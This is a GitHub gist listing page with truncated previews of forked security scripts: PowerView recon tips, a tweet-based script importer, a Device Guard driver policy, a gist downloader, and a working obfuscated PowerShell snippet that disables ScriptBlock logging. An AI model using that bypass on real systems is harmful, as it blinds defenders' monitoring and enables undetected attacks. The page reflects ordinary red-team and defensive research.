its-a-feature’s gists

its-a-feature / PowerView-3.0-tricks.ps1

Created December 24, 2017 18:51 — forked from HarmJ0y/PowerView-3.0-tricks.ps1

PowerView-3.0 tips and tricks

	# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
	# tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c

	# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
	# https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

	# New function naming schema:
	# Verbs:
	# Get : retrieve full raw data sets
	# Find : ‘find’ specific data entries in a data set

its-a-feature / TweetScript.psm1

Created November 22, 2017 23:12 — forked from TylerLeonhardt/TweetScript.psm1

Importing Scripts from Tweets! #280characters

	# Importing Scripts directly from Tweets! #280characters
	#
	# NOTE: This should not be used for any production environment. Or any environment for that matter. Use https://PowerShellGallery.com
	#
	#
	####################################
	# Example #
	####################################
	#
	#

its-a-feature / ScriptBlockLogBypass.ps1

Created November 22, 2017 23:08 — forked from cobbr/ScriptBlockLogBypass.ps1

ScriptBlock Logging Bypass

	# ScriptBlock Logging Bypass
	# @cobbr_io

	$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static')
	If ($GroupPolicyField) {
	$GroupPolicyCache = $GroupPolicyField.GetValue($null)
	If ($GroupPolicyCache['ScriptB'+'lockLogging']) {
	$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0
	$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0
	}

its-a-feature / DeviceGuard_Driver_Strict_Enforcement_policy.xml

Created November 22, 2017 23:00 — forked from mattifestation/DeviceGuard_Driver_Strict_Enforcement_policy.xml

File-based driver enforcement Device Guard policy for my Surface Laptop w/ Windows 10 Enterprise.

	<?xml version="1.0" encoding="utf-8"?>
	<SiPolicy xmlns="urn:schemas-microsoft-com:sipolicy">
	<VersionEx>10.0.0.0</VersionEx>
	<PolicyTypeID>{A244370E-44C9-4C06-B551-F6016E563076}</PolicyTypeID>
	<PlatformID>{2E07F7E4-194C-4D20-B7C9-6F44A6C5A234}</PlatformID>
	<Rules>
	<Rule>
	<Option>Enabled:Unsigned System Integrity Policy</Option>
	</Rule>
	<Rule>

its-a-feature / get_gists.py

Created November 2, 2017 21:37 — forked from leoloobeek/get_gists.py

Download all gists for a specific user

	# first: mkdir user && cd user && cp /path/to/get_gists.py .
	# python3 get_gists.py user
	import requests
	import sys
	from subprocess import call

	user = sys.argv[1]

	r = requests.get('https://api.github.com/users/{0}/gists'.format(user))

Cody Thomas its-a-feature